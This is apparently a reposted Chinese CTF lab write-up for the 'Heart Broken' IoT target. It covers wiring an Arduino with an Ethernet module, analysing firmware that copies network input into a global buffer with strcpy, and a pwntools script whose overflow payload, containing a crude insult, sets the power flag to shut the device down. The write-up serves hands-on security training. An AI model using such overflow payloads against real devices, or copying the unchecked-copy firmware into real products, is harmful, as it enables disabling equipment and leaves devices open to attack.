当前位置: 首页 > news >正文

[Control-Chaos] Heart Broken(心臟破裂)

信息

信息描述
靶場名稱Heart Broken
地址GitHub: Heart Broken
難度中等
人數推薦1–2人
類型CTF、IoT漏洞分析、逆向工程、Buffer Overflow、故事解謎
描述Heart Broken 是一個結合 CTF、IoT 漏洞利用、故事推理解謎與二進位漏洞分析的沉浸式靶場。參與者將面對硬體裝置、網路攻擊與真實逆向挑戰,揭開一場科技競賽背後的陰謀與報復行動。

環境部署 (192.168.8.103)

準備模塊ENC28J60和Arduino UNO并且按照接綫圖接綫

image.png

image-1.png

打開./web/file/HeartBroken.zip中的HeartBroken.ino進行燒錄

安裝頭文件依賴

image-4.png

image-2.png

將設備鏈接有綫網絡,并且將USB口插入靶機

$ sudo python3 robot.py

image-5.png

$ nmap -p 10032 192.168.8.0/24 --min-rate 1000 -Pn --open

image-6.png

進入web目錄執行

$ python3 app.py -iot 192.168.0.100

image-7.png

部署成功

逆向分析

http://192.168.8.103:5000/file/HeartBroken.zip

$ unzip HeartBroken.zip

#include <Arduino.h>
#include <UIPEthernet.h>
char powerStatus[10];
char lcdDisplay[30];
char serialCommand[8];const int BAUDRATE = 9600;
const int SERVER_PORT = 10032;byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
EthernetServer server(SERVER_PORT);void setup() {Serial.begin(BAUDRATE);delay(1000);Ethernet.begin(mac);server.begin();Serial.println("LCD:SLEEP...");
}void loop() {EthernetClient client = server.available();if (client) {String data = "";strcpy(powerStatus, "PWR:1");strcpy(lcdDisplay, "LCD:SLEEP...");while (client.connected()) {while (client.available()) {char c = client.read();data += c;if (c == '\n') {strcpy(serialCommand, data.c_str());if (powerStatus[4] == '1') {Serial.println(powerStatus);} else if (powerStatus[4] == '0') {Serial.println(powerStatus);}  Serial.println(lcdDisplay);data = "";}}delay(100);}client.stop();}
}

我們的目標是讓對方機器人關機,所以我們需要控制powerStatus為0

確認設備的IP地址

$ nmap -p 10032 192.168.8.0/24 --open --min-rate 1000

image-9.png

$ arp -a

image-10.png

和源程序的MAC地址一致

反向BOF攻擊 && Arduino UNO && SRAM

image-8.png

000223e5 char data_223e5[0xc] = “powerStatus”, 0
000223f1 char data_223f1[0xb] = “lcdDisplay”, 0
000223fc char data_223fc[0xe] = “serialCommand”, 0

在原程序中我們將通過網路發送數據。會經過

strcpy(serialCommand, data.c_str());

并且程序沒有做邊界檢查

是否存在緩衝區溢出漏洞?

我們首先要知道的是 Arduino UNO 時出現這種內存溢出情況,是因為 AVR 微控制器(ATmega328P)採用的是靜態內存分配 + 線性內存模型,且全局變量排列是連續的、固定的。這就導致一個變量的溢出可能直接覆蓋掉前後相鄰的變量資料。

全局/靜態變數從 SRAM 底部向上分配。

地址 ↑ 高
+-------------------------+ ← RAM 的高位址
|                        |
|   上層:堆疊(Stack)     | ← 自上而下增長
|                        |
+-------------------------+ ← 當前 SP 指向的位置
|                        |
|     未分配區(Gap)     | ← Heap 與 Stack 的「碰撞區」
|                        |
+-------------------------+
|                        |
|   下層:堆(Heap)       | ← 自下而上增長
|                        |
+-------------------------+
|  全局變量 / 靜態變量區(.data/.bss)|
+-------------------------+ ← SRAM 的最低位址
地址 ↓ 低

源程序給出

char powerStatus[10];
char lcdDisplay[30];
char serialCommand[8];

則需要構造"A"*8溢出serialCommand
然後"LCD:1…30"溢出lcdDisplay
然後"PWR:0"進入powerStatus[4] == '0’來關閉機器

他看起來是這樣的,應該可以工作。

# Maptnh@S-H4CK13
from pwn import *h = '192.168.8.100'
p = 10032
con = remote(h, p)
print("[+] Injection payload....")
payload = 'A' * 8 + "LCD:FUCK-YOU-SLEEP-BITCH" + '0' * 6 + "PWR:0"
con.sendline(payload)
print("[*] Done....")
con.close()

$ python3 exp.py

image-11.png

他工作了。。。

image-12.png

░░░░░░░░░░░█▀▀░░█░░░░░░
░░░░░░▄▀▀▀▀░░░░░█▄▄░░░░
░░░░░░█░█░░░░░░░░░░▐░░░
░░░░░░▐▐░░░░░░░░░▄░▐░░░
░░░░░░█░░░░░░░░▄▀▀░▐░░░
░░░░▄▀░░░░░░░░▐░▄▄▀░░░░
░░▄▀░░░▐░░░░░█▄▀░▐░░░░░
░░█░░░▐░░░░░░░░▄░█░░░░░
░░░█▄░░▀▄░░░░▄▀▐░█░░░░░
░░░█▐▀▀▀░▀▀▀▀░░▐░█░░░░░
░░▐█▐▄░░▀░░░░░░▐░█▄▄░░░
░░░▀▀▄░░░░░░░░▄▐▄▄▄▀░░░
░░░░░░░░░░░░░░░░░░░░░░░

相关文章:

  • CPO-BP+NSGA,豪冠猪优化BP神经网络+多目标遗传算法!(Matlab完整源码和数据)
  • 2.maven 手动安装 jar包
  • IntelliJ IDEA 保姆级使用教程
  • 密码学_加密
  • 【Redis】List类型
  • Python实例题:Python获取小说数据并分析
  • 【项目设计】MySQL 连接池的设计
  • 数据结构之平衡二叉树
  • 非对称加密算法(RSA、ECC、SM2)——密码学基础
  • 会话历史管理——持久化
  • 2.4 GHz频段的11个信道通过 5 MHz中心频率间隔 实现覆盖
  • 学习:困?
  • vue2和vue3组件如何监听子组件生命周期
  • 【AI面试准备】对新技术充满热情,具有较强的学习能力和独立解决问题的能力
  • 藏语英语中文机器翻译入门实践
  • c++_csp-j算法 (6)_高精度算法(加减乘除)
  • 多线程编程的常见问题
  • 深度理解linux系统—— 进程优先级
  • 柔性PZT压电薄膜多维力传感器在微创手术机器人的应用
  • 数字智慧方案6186丨智慧应急指挥解决方案(43页PPT)(文末有下载方式)
  • 爱彼迎:一季度总收入约23亿美元,将拓展住宿以外的新领域
  • 据报特斯拉寻找新CEO,马斯克财报会议上表态:把更多时间投入特斯拉
  • 北京亦庄启动青年人才创新创业生态示范区
  • 亚马逊拟为商品标注“关税成本”,特朗普致电贝索斯讨说法
  • 山西太原一居民小区发生爆炸,应急管理部派工作组赴现场
  • 国铁集团郑州局预计“五一”发送642.5万人